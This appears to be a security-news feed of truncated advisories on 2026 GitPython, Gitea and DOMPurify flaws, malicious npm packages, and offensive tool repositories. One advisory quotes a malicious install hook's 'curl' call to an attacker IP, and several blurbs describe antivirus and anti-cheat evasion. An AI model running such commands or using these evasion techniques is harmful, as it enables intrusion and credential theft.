EUVD-2026-65222

GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated...

CVE-2026-78676

GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated...

Linux Distros Unpatched Vulnerability : CVE-2026-78676

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected...

Linux Distros Unpatched Vulnerability : CVE-2026-78677

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - GitPython before 3.1.59 omits --separate-git-dir from unsafegitcloneoptions, allowing attackers to create arbitrary git directories outside the intended clone...

Gitea Code Injection Vulnerability

Gitea contains a code injection vulnerability that allows an attacker with repository write access to send a malicious patch to the diffpatch API endpoint to plant an executable Git hook and run shell commands as the Gitea service account...

gattacker

A Node.js package for BLE Bluetooth Low Energy Man-in-the-Middle & more. Prerequisites see: https://github.com/sandeepmistry/noble https://github.com/sandeepmistry/bleno Install root@kitploit: npm install gattacker Usage Configure Running both components Set up variables in config.env:...

CVE-2026-54686-poc

CVE-2026-54686: Warp DCS Lebenszyklus-Hook-Spoofing PoC Englische Version Überblick Dieses Repository ist ein sicherer lokaler PoC für CVE-2026-54686 , basierend auf der öffentlichen Sicherheitsempfehlung von Warp GHSA-9w2v-jhww-vm85. Die ungepatchte Version von Warp hat bei bestimmten...

CVE-2025-81110-PoC

CVE-2025-81110-PoC Gestione impropria dei link simbolici nell'API PutContents di Gogs consente l'esecuzione locale di codice. Questo repository contiene un exploit di livello professionale per una vulnerabilità critica in Gogs versioni precedenti alla 0.13.0. L'exploit sfrutta un difetto logico i...

Malicious code in openai-pr-reviewer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3553acd3c5abc3f71b55740c4b06b2eb278f81bb678c55211f2287a498b60b61 The package's preinstall hook runs index.js, which collects the installer's hostname, username, home directory, DNS servers, current working director...

Malicious code in secret-key-totp (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0f662164281fe877686c7eac93e0e6d068ccb16f8bff1b44029b1ace655a76b6 [email protected] declares a postinstall hook node./index.js --setup that executes a credential stealer and dropper on install, and the same...

Malicious code in @gsas/gsas-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2242b683433d5fe37b3997185d251799a4606a456e516da08586775d11f0cb7e @gsas/[email protected] is a high-version public-registry squat targeting an internal @gsas/gsas-sdk name. package.json declares preinstall: node...

DSCourier_BOF

DSCourier BOF Esta é uma implementação BOF do projeto DSCourier de Dylan Davis e Matthew Schramm. Utiliza a interface COM do WinGet para executar código powershell arbitrário em um processo assinado e confiável da Microsoft. O blog completo da pesquisa pode ser encontrado aqui. Ao contrário da...

CLR-Unhook

Strumento di Unhooking CLR Nota: Per ottenere l'effetto di un CLR pulito, dovresti mappare manualmente la DLL dal disco in memoria. Non puoi usare LoadLibraryA/W, perché le soluzioni antivirus rileveranno l'evento di caricamento della DLL e potrebbero hookarla immediatamente. Se desideri questo...

MAL-2026-14390 Malicious code in amundi-compare (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bc0f77ca83947d2af9978911d3a4da11af6a6a4773268f662291180c27b6f38 [email protected] is published at an inflated version number consistent with dependency-confusion targeting of an internal package name. The...

MAL-2026-14400 Malicious code in sm-session (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24 package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s...

CVE-2026-60004-poc-gitea

CVE-2026-60004 Proof-of-Concept PoC Überblick Dieses Repository enthält ein Proof-of-Concept-Tool für CVE-2026-60004, einen authentifizierten oder vorauthentifizierten Remote-Code-Execution-RCE-Vektor, der bestimmte Gitea-Versionen über die diffpatch-Hook-Injection-Technik betrifft. Die primäre...

dompurify: DOMPurify: Sanitization bypass via hook manipulation

A flaw was found in DOMPurify. An attacker can exploit a vulnerability in how DOMPurify handles its sanitization hooks when default configurations are used. By manipulating the uponSanitizeElement or uponSanitizeAttribute hooks, an attacker can permanently alter the allowed HTML tags and...

dompurify: DOMPurify: Sanitization bypass via hook manipulation

A flaw was found in DOMPurify. An attacker can exploit a vulnerability in how DOMPurify handles its sanitization hooks when default configurations are used. By manipulating the uponSanitizeElement or uponSanitizeAttribute hooks, an attacker can permanently alter the allowed HTML tags and...

bedaisy-bypass

bedaisy-bypass विवरण bedaisy-bypass एक कर्नेल ड्राइवर है जिसे BEDaisy.sys से BEService.exe को भेजी जाने वाली रिपोर्टों को बायपास करने के लिए डिज़ाइन किया गया है। जो उपयोगकर्ता UEFI पर नहीं हैं, उनके लिए परियोजना Infinity Hook का उपयोग करती है। ड्राइवर दोनों सेवाओं के बीच नामित पाइप named pipe के...

DInvoke

DInvoke Substituição dinâmica para PInvoke no Windows. O DInvoke contém primitivas poderosas que podem ser combinadas de forma inteligente para invocar dinamicamente código não gerenciado a partir do disco ou da memória com precisão cuidadosa. Isso pode ser usado para muitos propósitos, como...